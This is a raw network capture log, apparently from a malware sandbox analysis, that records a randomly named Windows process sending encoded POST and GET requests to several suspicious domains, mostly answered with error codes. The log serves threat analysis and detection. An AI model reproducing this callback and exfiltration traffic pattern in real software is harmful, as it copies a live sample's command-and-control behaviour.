9	192.168.2.5	49913	3.33.130.190	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:39:55.259304047 CET	546	OUT	GET /dlcs/?4j6=34T0Mpup0HM&Vp=w6QiAdP8awPLsa7eBVc39wzje3KOivPaseEO6V4cXiHKOPXUCZsKQLVdGPqPnVEzm93wkYEJdOAjyg/exCmJU6Q78y90wryT7YTpVv78cZYTmx3lErHzHgyioKvo20EaEA== HTTP/1.1 Host: www.ks1x7i.vip Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Dec 13, 2024 07:39:56.474744081 CET	387	IN	HTTP/1.1 200 OK content-type: text/html date: Fri, 13 Dec 2024 06:39:56 GMT content-length: 266 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 34 6a 36 3d 33 34 54 30 4d 70 75 70 30 48 4d 26 56 70 3d 77 36 51 69 41 64 50 38 61 77 50 4c 73 61 37 65 42 56 63 33 39 77 7a 6a 65 33 4b 4f 69 76 50 61 73 65 45 4f 36 56 34 63 58 69 48 4b 4f 50 58 55 43 5a 73 4b 51 4c 56 64 47 50 71 50 6e 56 45 7a 6d 39 33 77 6b 59 45 4a 64 4f 41 6a 79 67 2f 65 78 43 6d 4a 55 36 51 37 38 79 39 30 77 72 79 54 37 59 54 70 56 76 37 38 63 5a 59 54 6d 78 33 6c 45 72 48 7a 48 67 79 69 6f 4b 76 6f 32 30 45 61 45 41 3d 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?4j6=34T0Mpup0HM&Vp=w6QiAdP8awPLsa7eBVc39wzje3KOivPaseEO6V4cXiHKOPXUCZsKQLVdGPqPnVEzm93wkYEJdOAjyg/exCmJU6Q78y90wryT7YTpVv78cZYTmx3lErHzHgyioKvo20EaEA=="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49929	104.21.31.249	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:40:02.148339987 CET	816	OUT	POST /j82t/ HTTP/1.1 Host: www.aaavvejibej.bond Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.aaavvejibej.bond Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Referer: http://www.aaavvejibej.bond/j82t/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 41 64 2b 33 41 53 73 72 79 75 6d 74 68 6c 4b 41 4e 31 49 5a 4c 47 48 70 6e 6d 4a 78 62 6c 63 35 61 49 7a 79 61 5a 63 48 59 47 74 33 54 58 6e 51 42 75 54 37 48 31 79 6e 4d 2b 74 37 49 34 78 4d 65 69 6a 54 4e 67 56 68 51 37 46 49 44 34 7a 4a 7a 4e 38 32 77 66 6c 67 30 38 61 68 57 62 4f 44 62 2b 31 69 62 41 57 33 38 58 6d 2f 52 2f 67 37 4b 76 6d 54 78 45 65 31 43 78 39 52 30 77 4f 6a 44 2f 36 78 79 45 38 42 65 38 39 57 49 35 78 37 43 70 4b 72 6b 6a 30 72 46 38 76 4d 4d 37 77 2f 39 6e 6d 64 34 38 4f 4d 55 39 2f 4d 6e 61 50 59 4d 51 50 70 47 41 34 57 42 55 43 73 51 48 4b 36 2f 47 4e 48 4e 45 49 3d Data Ascii: Vp=Ad+3ASsryumthlKAN1IZLGHpnmJxblc5aIzyaZcHYGt3TXnQBuT7H1ynM+t7I4xMeijTNgVhQ7FID4zJzN82wflg08ahWbODb+1ibAW38Xm/R/g7KvmTxEe1Cx9R0wOjD/6xyE8Be89WI5x7CpKrkj0rF8vMM7w/9nmd48OMU9/MnaPYMQPpGA4WBUCsQHK6/GNHNEI=
Dec 13, 2024 07:40:03.706986904 CET	904	IN	HTTP/1.1 400 Bad Request Date: Fri, 13 Dec 2024 06:40:03 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zvwiFZ2JNmtZi2M47QT5hnFXAb8RlcSApvSPehEmXwDNUFmyGJ8795p3gMsgrHnYOgR%2FOf4QWaUVOPw%2BBMX3tjC0CRYIKsTx%2BvbBRdglXhYjdUhNrsNqgslruQyiykTdJw36emEkZg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f13f5e3392342eb-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2263&min_rtt=2263&rtt_var=1131&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=816&delivery_rate=0&cwnd=209&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 66 0d 0a e8 9c 98 e8 9b 9b e6 b1 a0 e6 90 ad e5 bb ba 0d 0a e8 9c 98 e8 9b 9b e6 b1 a0 e5 87 ba e7 a7 9f 0d 0a e8 b0 b7 e6 ad 8c e8 9c 98 e8 9b 9b e6 b1 a0 e5 a4 96 e9 93 be e7 95 99 e7 97 95 0d 0a e5 87 ba e5 94 ae e9 ab 98 e6 94 b6 e5 bd 95 e5 9f 9f e5 90 8d 0d 0a e5 87 ba e5 94 ae e6 b5 81 e9 87 8f e8 af 8d e5 9f 9f e5 90 8d 0d 0a e5 87 ba e7 a7 9f e5 87 ba e5 94 ae e6 b5 81 e9 87 8f 0d 0a 30 0d 0a 0d 0a Data Ascii: 7f0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49935	104.21.31.249	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:40:04.806735039 CET	836	OUT	POST /j82t/ HTTP/1.1 Host: www.aaavvejibej.bond Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.aaavvejibej.bond Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Referer: http://www.aaavvejibej.bond/j82t/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 41 64 2b 33 41 53 73 72 79 75 6d 74 67 45 36 41 4c 55 49 5a 4b 6d 48 6f 72 47 4a 78 51 46 64 52 61 49 50 79 61 64 73 58 5a 79 42 33 54 79 6a 51 41 71 2f 37 41 31 79 6e 55 4f 74 2b 46 59 78 48 65 69 65 75 4e 69 78 68 51 37 68 49 44 34 44 4a 79 36 51 31 78 50 6c 69 74 73 61 6a 59 37 4f 44 62 2b 31 69 62 41 43 4f 38 58 75 2f 52 50 38 37 4e 39 4f 63 75 30 65 30 56 42 39 52 6c 41 4f 76 44 2f 37 53 79 46 52 75 65 2f 46 57 49 37 5a 37 43 34 4b 71 71 6a 30 78 49 63 75 4f 4e 71 74 61 7a 57 6d 41 36 73 37 70 41 62 50 76 72 4d 69 79 57 79 48 42 56 67 55 75 52 48 4b 62 42 33 72 54 6c 6c 64 33 54 54 65 6a 4d 49 2f 62 58 4c 6a 61 67 7a 31 32 61 53 4b 48 74 38 2f 7a Data Ascii: Vp=Ad+3ASsryumtgE6ALUIZKmHorGJxQFdRaIPyadsXZyB3TyjQAq/7A1ynUOt+FYxHeieuNixhQ7hID4DJy6Q1xPlitsajY7ODb+1ibACO8Xu/RP87N9Ocu0e0VB9RlAOvD/7SyFRue/FWI7Z7C4Kqqj0xIcuONqtazWmA6s7pAbPvrMiyWyHBVgUuRHKbB3rTlld3TTejMI/bXLjagz12aSKHt8/z
Dec 13, 2024 07:40:06.358848095 CET	905	IN	HTTP/1.1 400 Bad Request Date: Fri, 13 Dec 2024 06:40:06 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N3LX2aMg%2BQuHDUuOb2doLoCeq2GWXNtBg6y3Nd1unUBwNZHNVY4fLghk1ePUVs3HvYJKx%2Bk9QuOkv2f5KOuSjlm%2B%2FxYyQI0BhXoSlVstfd4LahV1X82LdEtkjmASOgmd9fHWMAl98w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f13f5f3de8e43ff-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1549&min_rtt=1549&rtt_var=774&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=836&delivery_rate=0&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 66 0d 0a e8 9c 98 e8 9b 9b e6 b1 a0 e6 90 ad e5 bb ba 0d 0a e8 9c 98 e8 9b 9b e6 b1 a0 e5 87 ba e7 a7 9f 0d 0a e8 b0 b7 e6 ad 8c e8 9c 98 e8 9b 9b e6 b1 a0 e5 a4 96 e9 93 be e7 95 99 e7 97 95 0d 0a e5 87 ba e5 94 ae e9 ab 98 e6 94 b6 e5 bd 95 e5 9f 9f e5 90 8d 0d 0a e5 87 ba e5 94 ae e6 b5 81 e9 87 8f e8 af 8d e5 9f 9f e5 90 8d 0d 0a e5 87 ba e7 a7 9f e5 87 ba e5 94 ae e6 b5 81 e9 87 8f 0d 0a 30 0d 0a 0d 0a Data Ascii: 7f0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49941	104.21.31.249	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:40:07.466797113 CET	1853	OUT	POST /j82t/ HTTP/1.1 Host: www.aaavvejibej.bond Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.aaavvejibej.bond Connection: close Cache-Control: no-cache Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Referer: http://www.aaavvejibej.bond/j82t/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 41 64 2b 33 41 53 73 72 79 75 6d 74 67 45 36 41 4c 55 49 5a 4b 6d 48 6f 72 47 4a 78 51 46 64 52 61 49 50 79 61 64 73 58 5a 7a 56 33 51 45 66 51 50 72 2f 37 42 31 79 6e 64 75 74 46 46 59 78 61 65 69 33 6c 4e 69 39 78 51 35 70 49 42 5a 6a 4a 36 6f 6f 31 34 50 6c 69 69 4d 61 69 57 62 50 44 62 36 5a 6d 62 41 53 4f 38 58 75 2f 52 4f 4d 37 65 50 6d 63 39 6b 65 31 43 78 39 46 30 77 4f 44 44 2f 69 70 79 46 55 52 65 4f 6c 57 4c 62 4a 37 52 36 79 71 6d 6a 30 33 4c 63 75 73 4e 71 68 4a 7a 57 36 4d 36 73 2b 4d 41 63 6a 76 70 5a 65 72 47 32 44 46 43 43 6f 53 61 6c 65 48 62 67 37 6f 69 58 52 77 58 43 6d 6b 48 34 6d 31 41 64 66 71 74 69 56 6a 4e 31 61 51 67 4c 47 34 52 53 35 67 46 34 44 73 4e 48 48 37 54 62 64 6b 66 57 6e 48 56 58 59 4b 35 79 5a 7a 66 65 44 46 75 4a 35 38 39 37 64 72 2f 7a 30 36 36 72 6b 78 53 47 74 67 52 31 70 7a 58 79 2f 59 4f 6b 5a 6b 66 36 71 44 2f 65 48 50 52 69 6d 6d 54 44 2f 2f 6d 54 69 36 62 32 50 5a 48 39 56 49 74 6b 77 78 33 30 52 73 71 31 53 71 4b 4c 37 61 34 79 37 48 74 6a 66 [TRUNCATED] Data Ascii: Vp=Ad+3ASsryumtgE6ALUIZKmHorGJxQFdRaIPyadsXZzV3QEfQPr/7B1yndutFFYxaei3lNi9xQ5pIBZjJ6oo14PliiMaiWbPDb6ZmbASO8Xu/ROM7ePmc9ke1Cx9F0wODD/ipyFUReOlWLbJ7R6yqmj03LcusNqhJzW6M6s+MAcjvpZerG2DFCCoSaleHbg7oiXRwXCmkH4m1AdfqtiVjN1aQgLG4RS5gF4DsNHH7TbdkfWnHVXYK5yZzfeDFuJ5897dr/z066rkxSGtgR1pzXy/YOkZkf6qD/eHPRimmTD//mTi6b2PZH9VItkwx30Rsq1SqKL7a4y7HtjfKcNJGM/9vd3TEShgFZsaLc3bJzllCVq9+sMQSI0BQVtvc5LgiY9FNdqPy5PEuPUBnkEL4EifaqY/rJENHm0m8OSXkTFMv2Kk83Ut6fMIbkZqk1jgk9ntRtiTxmS51aeXzFpYHvrpSDD/5jeXMU/iGyIEqoyh4tUYbAJu8AkCV5HTqADHzoAEcb2YmPMNvz6p1dHzR6bduOCJclGbjGqeV6ZHQJvs7ZaI3kLRgq6ygz7/snCv7Es5ATgDhTyem8HisZwBvagSetnzo5j5YwX8rdoEFybK1nUdT45/i1LTuYarJ8DrZq9uc3WvDGtxHl7KluxdOz5y9pzDoMnzRvUBYJuObqtU0hFrV/CZ5KglzrEd3+Fr37oUHkkAFrtIMhIw83oM+2nFgaUnwNbpU2iDb8wND9+sCqA1sCFEb1Xx4OkDJqmTlGgpAOvsifq3Jvx6aGr3tGIpLn9Ci4KWsIRfcXEWhtyKGkaKkaE7XsMsbZsfBc1mn20oUog5A+2QzN+z6RWHOmXQ8TrVeGzqKai2/WpXuw3WAXs0o/l0/6a+lK7zmdJGm4ixjDNMKJ1C165pHXwwD5p2nXCiwuL+oO8Qb7JqQjKTYA/rZFmBKNqAMIRHUXSXLdRzumkjEW//cQlKoFAahT+NsCO8KRkcQ2vIK7aeKx3iHqX61I [TRUNCATED]
Dec 13, 2024 07:40:09.012448072 CET	908	IN	HTTP/1.1 400 Bad Request Date: Fri, 13 Dec 2024 06:40:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MHqg%2Fufw0iAeqRdI%2BchFGM2EWAvhTyhnxcCUUiN74%2FXgTp43ef1JeNFy5lDY%2BBfXxc7TtO%2FYUuj26qJ9uN02t5m1PQQAUV7TH9aYpskeg6yx5IYRTB9OaRlcHZRE2fJEt8YQn7b4dw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f13f604786cc329-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1500&min_rtt=1500&rtt_var=750&sent=1&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1853&delivery_rate=0&cwnd=146&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 37 66 0d 0a e8 9c 98 e8 9b 9b e6 b1 a0 e6 90 ad e5 bb ba 0d 0a e8 9c 98 e8 9b 9b e6 b1 a0 e5 87 ba e7 a7 9f 0d 0a e8 b0 b7 e6 ad 8c e8 9c 98 e8 9b 9b e6 b1 a0 e5 a4 96 e9 93 be e7 95 99 e7 97 95 0d 0a e5 87 ba e5 94 ae e9 ab 98 e6 94 b6 e5 bd 95 e5 9f 9f e5 90 8d 0d 0a e5 87 ba e5 94 ae e6 b5 81 e9 87 8f e8 af 8d e5 9f 9f e5 90 8d 0d 0a e5 87 ba e7 a7 9f e5 87 ba e5 94 ae e6 b5 81 e9 87 8f 0d 0a 30 0d 0a 0d 0a Data Ascii: 7f0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49948	104.21.31.249	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:40:10.132858038 CET	552	OUT	GET /j82t/?Vp=NfWXDnAQh5K3pnOvM14VTy+amnJPckA/Yfv/BKk9TV5fOF3SI/PjO3S5UMxnHoxUaRbUJGZsTsQcLMza5Yogw/RRse+ReaiEQqVJDCCAhnW/Ts1pacnUyHPkBApS4T/Gdg==&4j6=34T0Mpup0HM HTTP/1.1 Host: www.aaavvejibej.bond Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Dec 13, 2024 07:40:11.731481075 CET	1236	IN	HTTP/1.1 404 Not Found Date: Fri, 13 Dec 2024 06:40:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v410ThmeK2si%2FfMpz0qj%2Bicr4qkTksHjG%2BPzSJItGm1lHzF6X8SKOlMvGIb1sBJvWlYKbDZSfvmgWXycCerLix4lkNI3mKTmv7Wu%2FZoc7KXzXBfKFExeJZieui08v8VmLNhwCaaGnQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f13f61528f343d0-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1580&rtt_var=790&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=552&delivery_rate=0&cwnd=171&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 [TRUNCATED] Data Ascii: 224<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Dec 13, 2024 07:40:11.731528044 CET	74	IN	Data Raw: 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: ... a padding to disable MSIE and Chrome friendly error page -->0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49968	3.33.130.190	80	6160	C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:40:17.543972015 CET	828	OUT	POST /lrgf/ HTTP/1.1 Host: www.deikamalaharris.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.deikamalaharris.info Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Referer: http://www.deikamalaharris.info/lrgf/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 73 4a 4e 61 4c 43 53 2b 35 4b 35 4a 72 6f 43 2f 56 4a 45 4f 68 47 73 48 73 7a 76 62 5a 67 47 5a 6e 41 71 46 38 32 6e 58 4a 71 4b 71 4e 70 42 50 52 79 30 73 4a 66 4b 50 6f 6c 31 73 61 54 2f 2f 2f 4c 62 72 50 35 58 4c 48 4a 64 52 45 77 4f 56 77 45 6e 37 65 4a 4b 6e 51 6a 5a 66 79 2f 50 75 30 2f 30 4e 6f 53 4b 33 51 6c 5a 2b 66 35 4e 75 62 67 36 4b 70 75 32 6e 75 2b 37 77 48 47 49 4b 30 4a 4f 73 31 42 75 30 78 35 46 4c 75 44 73 34 42 57 55 62 78 42 45 70 4f 31 4d 79 38 76 4e 66 6b 54 66 31 2b 7a 45 67 6b 39 75 73 6f 43 74 42 41 62 66 69 49 71 68 32 59 6d 45 42 45 42 75 62 39 52 71 74 6b 46 41 3d Data Ascii: Vp=sJNaLCS+5K5JroC/VJEOhGsHszvbZgGZnAqF82nXJqKqNpBPRy0sJfKPol1saT///LbrP5XLHJdREwOVwEn7eJKnQjZfy/Pu0/0NoSK3QlZ+f5Nubg6Kpu2nu+7wHGIK0JOs1Bu0x5FLuDs4BWUbxBEpO1My8vNfkTf1+zEgk9usoCtBAbfiIqh2YmEBEBub9RqtkFA=
Dec 13, 2024 07:40:18.629951954 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	49974	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:40:20.664747953 CET	848	OUT	POST /lrgf/ HTTP/1.1 Host: www.deikamalaharris.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.deikamalaharris.info Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Referer: http://www.deikamalaharris.info/lrgf/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 73 4a 4e 61 4c 43 53 2b 35 4b 35 4a 72 4c 71 2f 47 34 45 4f 77 6d 73 41 70 7a 76 62 58 77 48 51 6e 41 57 46 38 79 58 48 4a 5a 2b 71 4d 4e 46 50 51 7a 30 73 49 66 4b 50 6e 46 31 74 65 54 2f 34 2f 4c 57 65 50 34 72 4c 48 4a 5a 52 45 31 69 56 77 58 2f 36 65 5a 4b 68 59 44 59 5a 78 50 50 75 30 2f 30 4e 6f 53 75 4a 51 6c 52 2b 66 4a 39 75 5a 42 36 4a 71 75 32 34 76 2b 37 77 44 47 49 4f 30 4a 4f 30 31 46 4f 4f 78 2f 42 4c 75 42 45 34 42 48 55 59 6f 52 45 76 44 56 4e 31 36 2b 4d 76 75 69 2f 42 39 56 46 67 39 65 32 33 70 30 41 72 61 35 58 4b 62 4b 4e 4f 49 31 4d 32 56 78 50 79 6e 79 36 64 36 53 57 51 73 42 42 5a 73 4f 58 46 7a 59 4c 69 45 58 36 44 4b 44 74 56 Data Ascii: Vp=sJNaLCS+5K5JrLq/G4EOwmsApzvbXwHQnAWF8yXHJZ+qMNFPQz0sIfKPnF1teT/4/LWeP4rLHJZRE1iVwX/6eZKhYDYZxPPu0/0NoSuJQlR+fJ9uZB6Jqu24v+7wDGIO0JO01FOOx/BLuBE4BHUYoREvDVN16+Mvui/B9VFg9e23p0Ara5XKbKNOI1M2VxPyny6d6SWQsBBZsOXFzYLiEX6DKDtV
Dec 13, 2024 07:40:21.748002052 CET	73	IN	HTTP/1.1 405 Method Not Allowed content-length: 0 connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	49981	3.33.130.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 13, 2024 07:40:23.323513985 CET	1865	OUT	POST /lrgf/ HTTP/1.1 Host: www.deikamalaharris.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.deikamalaharris.info Connection: close Cache-Control: no-cache Content-Length: 1239 Content-Type: application/x-www-form-urlencoded Referer: http://www.deikamalaharris.info/lrgf/ User-Agent: Mozilla/5.0 (Linux; Android 5.0; SM-G900W8 Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 56 70 3d 73 4a 4e 61 4c 43 53 2b 35 4b 35 4a 72 4c 71 2f 47 34 45 4f 77 6d 73 41 70 7a 76 62 58 77 48 51 6e 41 57 46 38 79 58 48 4a 5a 6d 71 4e 34 52 50 53 51 63 73 50 66 4b 50 75 6c 31 6f 65 54 2f 70 2f 4c 4f 53 50 34 6d 2b 48 4c 52 52 43 58 71 56 6b 32 2f 36 52 5a 4b 68 61 44 5a 65 79 2f 50 6e 30 2f 6c 45 6f 53 65 4a 51 6c 52 2b 66 4c 6c 75 4b 77 36 4a 6c 4f 32 6e 75 2b 37 47 48 47 49 6d 30 49 71 4f 31 46 4b 6b 79 4f 39 4c 76 68 55 34 4f 56 38 59 33 42 45 74 41 56 4e 58 36 37 55 77 75 69 69 2b 39 56 5a 61 39 65 4f 33 70 44 74 56 4a 49 4b 54 59 63 64 6a 45 7a 6b 4b 4b 6d 2f 78 72 52 4f 46 6c 44 2b 74 72 46 64 6f 73 4f 6e 55 39 35 2b 57 52 54 44 58 62 32 38 56 4e 37 54 4a 4c 33 64 37 33 77 73 6e 61 54 46 67 34 66 62 77 34 74 44 53 59 44 58 51 38 34 4e 4c 49 4c 6c 50 5a 73 35 4f 59 51 72 61 36 41 43 4e 36 67 45 4c 4a 72 7a 64 62 67 49 54 58 2b 51 34 35 49 75 64 63 54 46 39 74 42 4c 48 50 4f 6d 52 58 6c 34 73 39 74 34 57 4d 74 6c 6f 48 6a 6a 53 38 30 5a 2b 72 77 2b 76 48 42 59 62 30 36 62 32 30 49 70 [TRUNCATED] Data Ascii: 